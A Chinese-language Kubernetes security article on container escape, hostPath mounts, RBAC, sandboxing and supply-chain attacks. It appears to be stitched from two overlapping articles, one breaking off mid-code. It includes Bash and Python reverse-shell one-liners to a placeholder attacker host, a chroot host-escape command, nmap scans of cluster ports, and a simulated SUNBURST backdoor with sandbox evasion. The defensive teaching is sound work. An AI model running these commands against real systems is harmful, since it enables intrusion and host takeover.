隨著Kubernetes生態系統的成熟,我們看到一些新興的安全趨勢:

  1. 零信任架構:越來越多的組織採用零信任模型,不再假設叢集邊界內部是安全的

  2. 服務網格安全:利用服務網格提供細粒度的流量控制、加密和身份驗證

  3. 供應鏈安全:更加關注容器映像檔和依賴項的安全性,使用簽名和驗證機制

  4. 自動化安全操作:使用策略即程式碼和GitOps方法自動化安全控制的佈署和驗證

  5. 機器學習安全:利用機器學習技術檢測異常行為和潛在攻擊

這些趨勢反映了容器安全從基本隔離機制向更複雜、更全面的安全模型的演進。作為安全從業者,我們需要不斷學習和適應這些變化,同時保持對基本安全原則的關注。

透過瞭解歷史漏洞、採用最佳實踐並關注新興趨勢,我們可以構建更安全的Kubernetes環境,保護我們的應用和資料免受不斷演變的威脅。安全不是一個終點,而是一個持續的旅程,需要警惕、適應和不斷學習。

Kubernetes安全威脅全景:從系統風險到防禦策略

在雲原生時代,Kubernetes已成為容器協調的標準,但其複雜的架構也帶來了獨特的安全挑戰。在我多年參與容器安全專案的經驗中,發現大多陣列織對Kubernetes的安全威脅認知仍存在顯著差距。本文將深入剖析Kubernetes環境中的主要威脅向量,並提供實用的防禦策略。

系統風險全面解析

Kubernetes環境面臨的風險遠比傳統架構複雜。這些風險可分為幾個主要類別:

攻擊解剖與方法論

攻擊者通常遵循一套系統化的方法論來滲透Kubernetes環境。這個過程通常包括:

  1. 偵察階段 - 識別可能的入口點和脆弱服務
  2. 初始存取 - 利用設定錯誤或漏洞取得初始存取
  3. 許可權提升 - 從有限許可權擴充套件到更廣泛的系統存取
  4. 橫向移動 - 在叢集內部從一個名稱空間或工作負載移動到另一個
  5. 永續性建立 - 建立後門以確保長期存取

在防禦設計時,瞭解這些攻擊路徑至關重要,這樣才能在每個階段實施適當的控制措施。

檔案系統安全考量

容器技術的核心是分享主機核心同時實作隔離,這使得檔案系統成為關鍵的安全邊界。在Kubernetes環境中,檔案系統相關的風險主要來自:

# 檢查容器是否具有危險的掛載點
kubectl get pod [pod-name] -o json | jq '.spec.volumes[]'

# 檢查是否有掛載主機敏感目錄的情況
kubectl get pod [pod-name] -o json | jq '.spec.volumes[] | select(.hostPath != null)'

這段命令用於檢查Kubernetes Pod的掛載設定,是安全稽核的重要部分。第一個命令列出Pod的所有掛載卷,幫助識別潛在的風險掛載。第二個命令則專門過濾出使用hostPath的掛載,這些掛載允許容器存取主機檔案系統,是常見的容器逃逸途徑。在實際安全評估中,玄貓通常會結合這些命令與自動化指令碼,定期掃描叢集中的不安全掛載設定。

對於空中隔離(air-gapped)的叢集,應特別注意檔案系統隔離,因為這類別環境中的攻擊往往會嘗試透過檔案系統突破隔離邊界。

掛載機密的攻擊向量

Kubernetes中的Secret是儲存敏感訊息的主要方式,但掛載Secret的方式可能引入風險:

apiVersion: v1
kind: Pod
metadata:
  name: secret-example
spec:
  containers:
  - name: app
    image: nginx
    volumeMounts:
    - name: secret-volume
      mountPath: /etc/secrets
      readOnly: true
  volumes:
  - name: secret-volume
    secret:
      secretName: app-secrets

這個YAML定義了一個將Secret掛載到容器內的Pod設定。值得注意的是readOnly: true標記,這是一個重要的安全實踐,防止容器內部程式修改掛載的Secret。然而,這種掛載方式仍有風險 - 如果容器被攻破,攻擊者可以讀取所有掛載的機密。在設計系統時,玄貓建議實施最小許可權原則,每個容器只掛載絕對必要的Secret,並考慮使用更安全的機密管理解決方案,如HashiCorp Vault或雲提供商的機密管理服務,這些服務提供更細粒度的存取控制和稽核能力。

攻擊者可透過以下方式攻擊掛載的機密:

  1. 利用容器內的漏洞取得機密內容
  2. 濫用過度寬鬆的RBAC許可權讀取機密
  3. 透過中介軟體攔截機密掛載過程

容器逃逸技術與防禦

容器逃逸是Kubernetes環境中最嚴重的威脅之一,它允許攻擊者從容器隔離邊界突破,存取主機或其他容器。

/proc/self/exe CVE解析

/proc/self/exe CVE (CVE-2019-5736)是一個經典的容器逃逸漏洞,它影響了多個容器執行時:

package main

import (
    "fmt"
    "os"
    "io/ioutil"
)

func main() {
    // 惡意程式碼範例 - 嘗試利用/proc/self/exe漏洞
    target := "/proc/self/exe"
    
    // 檢查漏洞是否可被利用
    _, err := os.Stat(target)
    if err != nil {
        fmt.Println("目標路徑不存在或無法存取")
        return
    }
    
    // 嘗試開啟目標檔案
    f, err := os.OpenFile(target, os.O_WRONLY, 0600)
    if err != nil {
        fmt.Println("無法開啟目標:", err)
        return
    }
    defer f.Close()
    
    // 在實際攻擊中,這裡會寫入惡意程式碼
    fmt.Println("可能存在漏洞,能夠開啟/proc/self/exe進行寫入")
}

這段Go程式碼演示了CVE-2019-5736的基本利用機制。該漏洞允許容器內的程式覆寫容器執行時的二進位檔案,從而在下次啟動容器時執行攻擊者的程式碼。攻擊者透過開啟並修改/proc/self/exe(指向當前執行程式的符號連結)來實作這一點。

在修補的系統中,這種嘗試會失敗,因為現代容器執行時已實施了保護措施。防禦這類別漏洞的最佳實踐包括:及時更新容器執行時、實施強化的seccomp設定檔案限制危險系統呼叫、使用只讀根檔案系統,以及實施執行時威脅檢測。在玄貓的安全實踐中,我們還建議使用gVisor或kata-containers等安全容器執行時,為高風險工作負載提供額外的隔離層。

攻擊卷與OverlayFS

容器卷是另一個常見的逃逸向量。OverlayFS是Docker和其他容器執行時使用的常見檔案系統,它也可能被濫用:

# 檢測可能的OverlayFS掛載點
findmnt -t overlay

# 利用卷掛載嘗試存取主機檔案系統的範例命令
docker run -v /:/host -it ubuntu chroot /host

這些命令展示了卷掛載相關的安全風險。第一個命令用於識別系統中的OverlayFS掛載點,這對於安全稽核很有用。第二個命令則是一個危險操作的例子,它將主機的根目錄掛載到容器中,然後使用chroot切換到該目錄,實際上繞過了容器的隔離。這種操作在惡意攻擊者手中可用於完全存取主機檔案系統。

防禦這類別攻擊需要嚴格控制卷掛載許可權。在Kubernetes中,應使用PodSecurityPolicy或Pod Security Standards限制hostPath卷的使用,並採用最小許可權原則設定必要的掛載。在我的安全實踐中,強烈建議使用PersistentVolume和StorageClass而非直接使用hostPath,因為前者提供了更好的抽象和安全控制。

卷掛載打破容器隔離

當卷被不當設定時,可能會破壞容器的隔離性:

apiVersion: v1
kind: Pod
metadata:
  name: risky-volume-pod
spec:
  containers:
  - name: container
    image: nginx
    volumeMounts:
    - name: host-path
      mountPath: /host
  volumes:
  - name: host-path
    hostPath:
      path: /
      type: Directory

這個YAML定義了一個極具風險的Pod設定,它將主機的根目錄(/)掛載到容器內的/host目錄。這是一個嚴重的安全問題,因為它本質上授予了容器對主機檔案系統的完全讀寫存取權。攻擊者可以利用這種設定讀取主機上的敏感檔案(如SSH金鑰、設定檔案),甚至修改系統檔案實作持久化存取。

在實際環境中,應該嚴格禁止這種設定。Kubernetes管理員應使用准入控制器(如OPA Gatekeeper或Kyverno)自動拒絕包含危險hostPath設定的Pod。對於確實需要存取主機特定目錄的合法使用案例,應使用更精確的路徑,並考慮使用readOnly選項限制對這些目錄的寫入存取。

網路攻擊面與防禦策略

Kubernetes的網路複雜性為攻擊者提供了多種攻擊向量。

網路攻擊面分析

Kubernetes叢集的網路攻擊麵包括:

  1. API伺服器暴露
  2. 節點連線埠服務
  3. Ingress控制器
  4. 叢集內部服務通訊

自動化網路掃描器如Nmap可用於識別開放連線埠和服務,但攻擊者也可能使用這些工具:

# 基本連線埠掃描範例
nmap -sS -p 1-65535 <target-ip>

# 服務識別掃描
nmap -sV <target-ip>

# 針對Kubernetes API伺服器的掃描
nmap -sV -p 6443,8080,10250,10255 <cluster-ip>

這些Nmap命令展示了攻擊者如何探測Kubernetes叢集的網路表面。第一個命令執行全連線埠SYN掃描,識別所有開放的TCP連線埠。第二個命令嘗試識別這些開放連線埠上執行的服務及其版本。第三個命令則專門針對常見的Kubernetes相關連線埠進行掃描。

在安全防禦中,應該從兩方面應對這種威脅:首先,實施網路政策限制Pod間通訊,採用預設拒絕策略並明確允許必要的流量;其次,使用網路監控工具檢測異常的掃描活動和通訊模式。我在實施Kubernetes安全架構時,通常建議使用Calico或Cilium等CNI外掛,它們提供了強大的網路政策實施能力,並支援根據身份的微分段。

遠端式碼執行與反向Shell

反向shell是攻擊者在成功利用漏洞後常用的技術:

# 基本的反向shell範例
bash -i >& /dev/tcp/attacker-ip/4444 0>&1

# 使用Python的反向shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacker-ip",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

這些命令展示了攻擊者如何在成功入侵後建立反向shell連線。第一個命令是一個基本的Bash反向shell,它將互動式shell重定向到攻擊者控制的IP和連線埠。第二個命令使用Python建立更複雜的反向shell,適用於某些限制了Bash功能的環境。

防禦這類別攻擊需要多層次方法:首先,限制容器的網路存取,使用網路政策防止未授權的出站連線;其次,實施執行時監控以檢測異常程式和網路活動;最後,使用seccomp和AppArmor設定檔案限制容器內可執行的系統呼叫。在我的安全實踐中,我還建議使用egress流量過濾和網路異常檢測工具,以快速識別和阻止可疑的出站連線嘗試。

RBAC相關攻擊與防禦

根據角色的存取控制(RBAC)是Kubernetes的主要安全機制,但不當設定可能導致嚴重漏洞。

RBAC攻擊模式

常見的RBAC相關攻擊包括:

  1. 許可權提升 - 利用過度寬鬆的角色定義取得更高許可權
  2. 服務帳戶令牌濫用 - 利用暴露的服務帳戶令牌
  3. 角色繫結濫用 - 利用不當的角色繫結範圍

以下是一個簡單的RBAC範例:

apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  namespace: default
  name: pod-reader
rules:
- apiGroups: [""]
  resources: ["pods"]
  verbs: ["get", "watch", "list"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  namespace: default
  name: read-pods
subjects:
- kind: ServiceAccount
  name: default
  namespace: default
roleRef:
  kind: Role
  name: pod-reader
  apiGroup: rbac.authorization.k8s.io

這個YAML定義了一個基本的RBAC設定,建立了一個僅限於讀取Pod的角色,並將其繫結到default名稱空間中的default服務帳戶。雖然這看起來是一個受限的許可權集,但在實際環境中,即使是隻讀許可權也可能被濫用於訊息收集。

在設計RBAC策略時,應遵循最小許可權原則,授予完成任務所需的最小許可權集。此外,應定期稽核RBAC設定,識別和修復過度寬鬆的許可權。我發現使用工具如rbac-toolrbac-lookup可以幫助視覺化和分析複雜的RBAC關係,識別潛在的許可權提升路徑。最佳實踐還包括使用名稱空間隔離不同的應用,並為每個應用使用專用的服務帳戶,而不是依賴default服務帳戶。

撰寫RBAC稽核

為了確保RBAC設定安全,可以使用audit2rbac工具:

# 從稽核日誌生成RBAC規則
audit2rbac -f audit.log --serviceaccount=myapp:myapp > rbac.yaml

# 使用awslogs取得稽核日誌
awslogs get /aws/eks/cluster-name/cluster -s '1h ago' > audit.log

這些命令展示瞭如何使用audit2rbac工具從Kubernetes稽核日誌生成精確的RBAC規則。第一個命令分析稽核日誌,為指定的服務帳戶生成最小許可權的RBAC設定。第二個命令從AWS CloudWatch日誌中提取EKS叢集的稽核日誌。

這種方法實作了"最小許可權"原則,因為生成的RBAC規則僅包含應用實際需要的許可權。在我的實踐中,我發現這種根據稽核的RBAC生成特別適用於遷移現有應用到更嚴格的安全模型,因為它可以揭示應用的實際許可權需求,而不是依賴開發人員可能過度請求的許可權。

重要的是,生成的RBAC規則應該經過安全團隊的審查,以確保它們不包含危險的許可權,特別是那些可能被用於許可權提升的許可權。

沙箱與策略實施

沙箱技術為容器提供了額外的隔離層,特別適用於執行不受信任的程式碼。

容器、虛擬機器和沙箱

不同的隔離技術提供不同級別的安全性:

  1. 容器 - 分享核心,隔離程度最低
  2. 沙箱容器 (如gVisor) - 提供系統呼叫攔截層
  3. 輕量級VM (如Kata Containers) - 提供核心隔離
  4. 傳統VM - 完全隔離,資源開銷最大

以下是使用gVisor執行容器的範例:

# 使用gVisor執行Docker容器
docker run --runtime=runsc -it ubuntu bash

# 在Kubernetes中使用gVisor
kubectl apply -f - <<EOF
apiVersion: node.k8s.io/v1
kind: RuntimeClass
metadata:
  name: gvisor
handler: runsc
---
apiVersion: v1
kind: Pod
metadata:
  name: nginx-gvisor
spec:
  runtimeClassName: gvisor
  containers:
  - name: nginx
    image: nginx
EOF

這段程式碼展示瞭如何在Docker和Kubernetes環境中使用gVisor沙箱。gVisor是Google開發的容器沙箱執行時,它在容器和主機核心之間提供了一個使用者空間核心,攔截並處理容器的系統呼叫,從而提供額外的隔離層。

在Kubernetes中,RuntimeClass資源定義了可用的容器執行時,然後Pod可以透過runtimeClassName欄位選擇特定的執行時。這種方法允許在同一叢集中混合使用標準容器和沙箱容器,根據工作負載的安全需求靈活選擇適當的隔離級別。

在設計多租戶Kubernetes環境時,我通常推薦使用沙箱技術執行不受信任的工作負載。雖然這會帶來一些效能開銷,但對於處理使用者提供的程式碼或執行第三方應用的場景,這種額外的安全層是值得的。

應用與供應鏈安全

供應鏈攻擊是現代軟體生態系統中日益嚴重的威脅,如SolarWinds SUNBURST攻擊所示。

供應鏈攻擊型別

供應鏈攻擊可以分為幾種主要型別:

  1. 依賴關係投毒 - 攻擊者將惡意程式碼注入開放原始碼依賴
  2. 構建系統攻擊 - 攻擊者破壞CI/CD流程
  3. 交付通路攻擊 - 攻擊者篡改軟體分發通路
  4. 開發工具攻擊 - 攻擊者破壞開發工具或IDE

SUNBURST攻擊分析與防禦

SUNBURST攻擊是一次高度複雜的供應鏈攻擊,針對SolarWinds Orion產品:

# SUNBURST惡意程式碼的簡化範例 - 僅用於教育目的
import time
import random
import platform
import socket
import os

def check_environment():
    """檢查是否在目標環境中執行"""
    # 避免沙箱檢測
    if time.time() - os.path.getctime('/etc/hosts') < 14 * 24 * 60 * 60:
        return False
    
    # 檢查是否存在安全工具
    security_products = ['wireshark', 'tcpdump', 'snort']
    for proc in os.popen('ps -ef').read().split('\n'):
        for product in security_products:
            if product in proc.lower():
                return False
    
    return True

def establish_command_and_control():
    """建立命令與控制連線"""
    if not check_environment():
        return
    
    # 使用合法網域名稱的子域進行通訊
    c2_domains = [
        'api.solarwinds.com',
        'api.weather.com',
        'api.microsoft.com'
    ]
    
    domain = random.choice(c2_domains)
    # 實際攻擊中,這裡會建立隱蔽的C2通道
    print(f"模擬與 {domain} 建立C2連線")

# 主要後門功能
def backdoor_main():
    """後門主函式"""
    # 等待一段時間後才啟用,避免立即檢測
    time.sleep(random.randint(1800, 3600))
    
    if check_environment():
        establish_command_and_control()

if __name__ == "__main__":
    backdoor_main()

這段Python程式碼模擬了SUNBURST攻擊中使用的一些技術,僅用於教育目的。實際的SUNBURST惡意程式碼更為複雜和隱蔽。程式碼展示了幾個關鍵特性:

  1. 環境檢測 - 惡意程式碼檢查是否在目標環境中執行,避免在分析環境中被檢測
  2. 沙箱規避 - 透過檢查檔案建立時間等方法避免在安全研究沙箱中執行
  3. 安全工具檢測 - 檢查是否存在安全監控工具
  4. 延遲執行 - 等待一段時間後才啟用,降低與初始感染的關聯性
  5. 偽裝的C2通訊 - 使用看似合法的網域名稱進行命令與控制通訊

防禦此類別供應鏈攻擊需要多層次方法:

  • 實施軟體物料清單(SBOM)追蹤所有依賴
  • 對所有第三方程式碼和二進位檔案進行安全掃描
  • 實施構建簽名和驗證
  • 使用不可變基礎設施和GitOps實踐
  • 佈署執行時異常檢測系統

在我的安全實踐中,我還建議實施零信任架構,即使是內部元件也需要驗證和授權,並持續監控異常行為。

防禦SUNBURST級別的攻擊

防禦高階供應鏈攻擊需要全面的安全策略:

# 使用Trivy掃描容器映像檔中的漏洞
trivy image nginx:latest

# 使用Syft生成SBOM
syft nginx:latest -o json > nginx-sbom.json

# 使用Grype檢查SBOM中的漏洞
grype sbom:nginx-sbom.json

這些命令展示了容器安全工具的基本使用。Trivy是一個全面的容器漏洞掃描器,可識別映象中的已知漏洞。Syft用於生成軟體物料清單(SBOM),詳細列出容器映像檔中的所有軟體元件。Grype則分析SBOM,識別其中的漏洞。

這些工具應該整合到CI/CD流程中,在構建和佈署階段自動執行安全檢查。但需要注意的是,這些工具主要針對已知漏洞,像SUNBURST這樣的高階攻擊通常使用零日漏洞或供應鏈破壞,可能不會被這些工具檢測到。

因此,全面的防禦策略還應包括:

  • 實施構建系統的強身份驗證和許可權控制
  • 使用簽名和驗證確保軟體完整性
  • 佈署行為分析和異常檢測系統
  • 實施網路分段和最小許可權原則
  • 建立安全回應和還原流程

檢測特洛伊特洛伊木馬和惡意程式碼

識別容器映像檔中的惡意程式碼是一個挑戰,需要多種檢測方法:

# 使用Clair掃描容器映像檔
clair-scanner --ip $(hostname -i) nginx:latest

# 使用Anchore Engine進行深度掃描
anchore-cli image add nginx:latest
anchore-cli image wait nginx:latest
anchore-cli image vuln nginx:latest all

# 檢查映象歷史,尋找可疑命令
docker history --no-trunc nginx:latest

這些命令展示了不同的容器安全掃描方法。Clair是一個開放原始碼的容器漏洞掃描器,專注於識別已知漏洞。Anchore Engine提供更全面的安全分析,包括漏洞掃描、政策檢查和惡意軟體檢測。docker history命令則顯示映象的構建歷史,有助於識別可疑的構建步驟。

在實際環境中,應該結合多種檢測方法,並將這些工具整合到CI/CD流程中。然而,這些靜態分析工具可能無法檢測到所有型別的惡意程式碼,尤其是那些專門設計用來規避檢測的高階威脅。

因此,全面的安全策略應該包括:

  • 使用可信的基礎映象並維護自己的映象倉函式庫
  • 實施映象簽名和驗證
  • 佈署執行時行為監控,識別異常活動
  • 限制容器的網路存取和系統呼叫
  • 定期更新和修補容器映像檔

威脅行為者與攻擊模式

瞭解不同型別的威脅行為者及其動機和能力對於構建有效的防禦至關重要:

  1. 離線攻擊者 - 尋求快速獲利的機會主義者
  2. 高階持續威脅(APT) - 國家支援的組織,具有高階技能和資源
  3. 內部威脅 - 具有內部存取許可權的惡意或被利用的人員
  4. 競爭對手 - 尋求商業優勢的競爭組織

每種威脅行為者都有不同的戰術、技術和程式(TTPs):

# 威脅模型分析範例
threat_actors = {
    "離線攻擊者":

## 容器安全的核心挑戰

在現代雲原生架構中容器技術已成為應用佈署的主流方式然而隨著容器採用率的提高其安全性問題也日益凸顯作為 Kubernetes 生態系統中的核心元素容器執行時Container Runtime和儲存介面Storage Interface是安全架構的關鍵環節也是攻擊者的主要目標

在我多年的容器安全研究中發現大多陣列織在實施容器化策略時過於專注於功能實作而忽略了安全性考量這種做法猶如在沙灘上建造城堡看似穩固實則脆弱本文將探討容器執行時介面CRI)、RuntimeClass 以及容器儲存介面CSI的安全機制並提供實用的強化策略

## 容器、虛擬機器與沙箱:技術邊界的探索

### 容器與虛擬機器的根本差異

容器和虛擬機器雖然都提供應用隔離的能力但其實作方式和安全邊界有本質區別虛擬機器透過硬體虛擬化提供完整的作業系統隔離而容器則分享主機核心僅透過 namespace  cgroups 實作程式隔離

```bash
# 虛擬機器架構示意
Host Hardware
└── Hypervisor (Type 1 or Type 2)
    ├── VM 1 (完整 OS 核心 + 使用者空間)
    └── VM 2 (完整 OS 核心 + 使用者空間)

# 容器架構示意
Host Hardware
└── Host OS 核心
    ├── Container Runtime
       ├── Container 1 (僅使用者空間)
       └── Container 2 (僅使用者空間)

上面的示意圖展示了虛擬機器和容器架構的根本差異。虛擬機器透過 Hypervisor 層提供硬體資源的抽象,每個虛擬機器擁有獨立的作業系統核心,相互之間完全隔離。而容器則分享主機核心,僅隔離使用者空間,這使得容器更輕量但也帶來了更多安全隱憂。在安全性要求極高的環境中,這種差異尤為重要,因為容器逃逸攻擊通常會針對分享核心的弱點。

容器的安全弱點

容器技術的核心挑戰在於其分享主機核心的設計。這意味著任何核心漏洞都可能導致容器逃逸,進而危及整個主機和其他容器。

在研究多起容器逃逸事件時,我發現大多數攻擊都利用了以下幾個核心問題:

  1. 核心分享導致的攻擊面擴大
  2. 容器執行時(如 runc)的漏洞
  3. 不當設定的掛載點和許可權
  4. 缺乏有效的沙箱隔離機制

這些問題使得容器在安全隔離方面天生不如虛擬機器。正如一位安全工作者曾對我說:「容器就像紙做的牆,它們能夠區分空間,但無法阻止真正的入侵者。」

沙箱技術:彌合安全鴻溝

為瞭解決容器安全隔離的不足,沙箱技術應運而生。沙箱在容器和主機核心之間增加了一層額外的隔離,提供更強的安全保證。

目前主流的容器沙箱技術包括:

Kata Containers

Kata Containers 結合了虛擬機器的安全隔離和容器的輕量特性,為每個容器或 Pod 提供專用的輕量級虛擬機器。

# 使用 Kata Containers 的 RuntimeClass 定義
apiVersion: node.k8s.io/v1
kind: RuntimeClass
metadata:
  name: kata
handler: kata

這段 YAML 定義了一個名為 kata 的 RuntimeClass,指定使用 Kata Containers 作為容器執行時。在 Kubernetes 中,RuntimeClass 允許我們選擇不同的容器執行時實作。透過將 handler 設定為 kata,告訴 Kubernetes 使用 Kata Containers 執行時來執行指定的 Pod。這樣,Pod 將在輕量級虛擬機器中執行,而不是直接在主機核心上執行,從而提供更好的隔離性和安全性。

gVisor

gVisor 是 Google 開發的容器沙箱執行時,它透過實作一個使用者空間核心來攔截容器系統呼叫,從而減少與主機核心的直接互動。

# 啟動使用 gVisor 的 Docker 容器
docker run --runtime=runsc -it ubuntu:latest bash

這個命令展示瞭如何在 Docker 中使用 gVisor(透過 runsc 執行時)啟動一個 Ubuntu 容器。--runtime=runsc 引數指示 Docker 使用 gVisor 的 runsc 執行時而不是預設的 runc。gVisor 的工作原理是在容器和主機核心之間增加一個使用者空間核心層,攔截和處理容器的系統呼叫,而不是直接傳遞給主機核心。這種設計顯著降低了容器對主機核心的直接存取,減少了潛在的攻擊面,特別適合執行不受信任的工作負載。

容器執行時介面(CRI)與安全性

CRI 架構與安全模型

容器執行時介面(Container Runtime Interface, CRI)是 Kubernetes 與容器執行時之間的標準化 API。它使 Kubernetes 能夠支援多種容器執行時,如 containerd、CRI-O 等,而無需修改核心程式碼。

從安全形度看,CRI 的抽象層設計有利有弊:一方面提供了靈活性,允許選擇適合特定安全需求的執行時;另一方面也增加了設定複雜性和潛在的誤設定風險。

Kubernetes --> CRI --> Container Runtime --> Containers
  kubelet      |       (containerd,         (應用)
                       CRI-O, etc.)

在安全強化方面,CRI 實作通常提供以下機制:

  1. seccomp 設定檔:限制容器可用的系統呼叫
  2. AppArmor/SELinux:提供強制存取控制
  3. 核心能力(capabilities)管理:精細控制容器許可權
  4. 沙箱執行時支援:如 gVisor, Kata Containers

RuntimeClass:安全差異化的關鍵

RuntimeClass 是 Kubernetes 的一個功能,允許在同一叢集中使用不同的容器執行時設定。從安全形度看,這是實作多層次防禦的關鍵機制。

# 定義一個啟用了額外安全功能的 RuntimeClass
apiVersion: node.k8s.io/v1
kind: RuntimeClass
metadata:
  name: secure-runtime
handler: containerd
overhead:
  podFixed:
    memory: "120Mi"
    cpu: "250m"
scheduling:
  nodeSelector:
    secure-zone: "true"

這個 YAML 定義了一個名為 secure-runtime 的 RuntimeClass,它使用 containerd 作為執行時處理器,同時指定了資源開銷和排程約束。overhead 部分定義了使用此執行時的額外資源消耗,這對於安全加強型執行時(如沙箱)尤為重要,因為它們通常需要更多資源。scheduling 部分透過 nodeSelector 確保使用此執行時的 Pod 只會被排程到標記為 secure-zone: "true" 的節點上,這允許我們在叢集中劃分安全區域,將高敏感度工作負載隔離在特定節點上。這種設定對於多租戶環境或混合安全需求的工作負載特別有價值。

預設強化:防禦的第一道防線

容器執行時的預設安全設定是防禦的第一道防線。在生產環境中,應確保容器執行時採用適當的預設安全設定。

以 containerd 為例,我們可以設定預設的 seccomp 設定檔:

{
  "defaultAction": "SCMP_ACT_ERRNO",
  "architectures": ["SCMP_ARCH_X86_64"],
  "syscalls": [
    {
      "names": [
        "accept", "access", "arch_prctl", "brk", "capget",
        "capset", "chdir", "chmod", "chown", "close",
        /* ... 其他允許的系統呼叫 ... */
      ],
      "action": "SCMP_ACT_ALLOW"
    }
  ]
}

這是一個 seccomp 設定檔範例,用於限制容器可以使用的系統呼叫。seccomp(secure computing mode)是 Linux 核心的一個安全功能,允許過濾程式可以執行的系統呼叫。在這個設定檔中,defaultAction 設為 SCMP_ACT_ERRNO,意味著預設情況下所有系統呼叫都被拒絕,除非明確允許。architectures 指定了這個設定檔適用的 CPU 架構,而 syscalls 部分列出了允許的系統呼叫。這種白名單方法大大減少了容器的攻擊面,因為惡意軟體通常需要使用特定的系統呼叫來執行許可權提升或其他攻擊行為。在實際佈署中,應根據應用需求定製這個列表,既要確保應用正常執行,又要最小化允許的系統呼叫集合。

容器儲存介面(CSI)與安全挑戰

CSI 架構概述

容器儲存介面(Container Storage Interface, CSI)是 Kubernetes 與儲存系統之間的標準化 API。它允許儲存供應商開發外掛,使其儲存系統可以與 Kubernetes 無縫整合。

從安全形度看,CSI 涉及以下關鍵元素:

  1. 卷管理:建立、掛載和刪除永續性儲存區
  2. 存取控制:確定哪些 Pod 可以存取特定儲存
  3. 加密:保護靜態資料安全
  4. 隔離:防止跨租戶或跨名稱空間的儲存存取

卷掛載與容器隔離破壞

容器卷掛載是一個常被忽視的安全風險點。不當設定的卷掛載可能導致容器隔離被破壞,使攻擊者能夠:

  1. 存取主機檔案系統
  2. 存取其他容器的資料
  3. 提升許可權或逃逸容器

以下是一個危險的 Pod 定義範例,它掛載了主機的根檔案系統:

apiVersion: v1
kind: Pod
metadata:
  name: dangerous-pod
spec:
  containers:
  - name: shell
    image: ubuntu:latest
    command: ["sleep", "infinity"]
    volumeMounts:
    - name: host-root
      mountPath: /host
  volumes:
  - name: host-root
    hostPath:
      path: /
      type: Directory

這個 Pod 定義展示了一個嚴重的安全風險:它將主機的根目錄(/)掛載到容器內的 /host 路徑。透過這種設定,容器內的程式可以存取、修改甚至替換主機上的任何檔案,包括系統關鍵檔案、其他容器的資料,甚至可以修改核心模組或啟動指令碼。這完全破壞了容器的隔離性,等同於給了容器對主機的完全控制權。在實際環境中,這種設定是極其危險的,除非絕對必要與完全信任容器中執行的程式碼,否則應當避免使用 hostPath 卷,特別是掛載敏感的主機目錄。如果必須使用 hostPath,應當限制在特定目錄,並使用 readOnly: true 選項防止寫入操作。

安全的卷設定實踐

為了安全地使用儲存卷,應遵循以下最佳實踐:

  1. 使用只讀掛載(當可行時)
  2. 避免使用 hostPath 卷,特別是在多租戶環境中
  3. 為敏感資料使用加密卷
  4. 實施精細的存取控制策略

以下是一個更安全的卷設定範例:

apiVersion: v1
kind: Pod
metadata:
  name: secure-pod
spec:
  containers:
  - name: app
    image: myapp:latest
    volumeMounts:
    - name: config-volume
      mountPath: /etc/config
      readOnly: true
    - name: data-volume
      mountPath: /data
  volumes:
  - name: config-volume
    configMap:
      name: app-config
  - name: data-volume
    persistentVolumeClaim:
      claimName: app-data

這個 Pod 定義展示了更安全的卷設定實踐。首先,設定資料透過 ConfigMap 掛載,並標記為 readOnly: true,確保容器不能修改設定。其次,應用資料透過 PersistentVolumeClaim 掛載,而不是直接使用 hostPath。PersistentVolume 系統提供了一層抽象,將儲存細節與 Pod 設定分離,並支援更多安全功能,如動態佈建、存取控制和加密。這種方法遵循最小許可權原則,只提供容器所需的最小存取許可權,同時利用 Kubernetes 的儲存抽象來增強安全性和可移植性。在實際實施中,還應考慮為 PersistentVolume 設定適當的 StorageClass,以支援資料加密、備份和災難還原等安全功能。

容器逃逸與漏洞分析

/proc/self/exe CVE 攻擊分析

/proc/self/exe 是 Linux 系統中的一個特殊檔案,它是指向當前執行程式的符號連結。2019年,研究人員發現了 CVE-2019-5736,這是一個影響 runc 的嚴重漏洞,攻擊者可利用 /proc/self/exe 從容器中逃逸並獲得主機上的 root 許可權。

攻擊流程大致如下:

  1. 攻擊者在容器內建立一個惡意程式
  2. 當 runc 執行容器內命令時,攻擊者利用 /proc/self/exe 覆寫 runc 二進位檔案
  3. 下次 runc 啟動時,惡意程式碼得以在主機上以 root 許可權執行

這個漏洞的危險之處在於它能繞過大多數容器安全機制,包括 seccomp、AppArmor 和容器能力限制。

防禦策略與緩解措施

針對類別似 /proc/self/exe 這樣的容器逃逸漏洞,我們可以採取以下防禦措施:

  1. 及時更新容器執行時:確保使用最新版本的容器執行時,如 runc、containerd 等。

  2. 實施深度防禦:使用多層安全控制,如:

apiVersion: v1
kind: Pod
metadata:
  name: hardened-pod
spec:
  securityContext:
    runAsNonRoot: true
    seccompProfile:
      type: RuntimeDefault
  containers:
  - name: app
    image: myapp:latest
    securityContext:
      allowPrivilegeEscalation: false
      capabilities:
        drop: ["ALL"]
      readOnlyRootFilesystem: true

這個 Pod 定義實施了多層安全控制,展示了深度防禦的概念。首先,Pod 級別的 securityContext 設定了 runAsNonRoot: true,確保容器不能以 root 使用者執行,這是防止許可權提升的第一道防線。同時,啟用了 seccompProfile 並使用 RuntimeDefault 型別,限制容器可使用的系統呼叫。在容器級別,allowPrivilegeEscalation: false 防止程式獲得比父程式更多的許可權,capabilities: drop: ["ALL"] 移除了所有 Linux 能力,大大限制了容器內程式可執行的特權操作。最後,readOnlyRootFilesystem: true 使容器的根檔案系統變為只讀,防止攻擊者修改系統檔案或植入惡意程式碼。這些控制措施共同作用,即使面對未知漏洞,也能顯著提高攻擊者成功利用的難度。

  1. 使用沙箱執行時:對於不受信任的工作負載,考慮使用 gVisor 或 Kata Containers 等沙箱執行時:
apiVersion: v1
kind: Pod
metadata:
  name: sandboxed-pod
  annotations:
    io.kubernetes.cri.untrusted-workload: "true"
spec:
  runtimeClassName: gvisor
  containers:
  - name: untrusted-app
    image: untrusted/app:latest

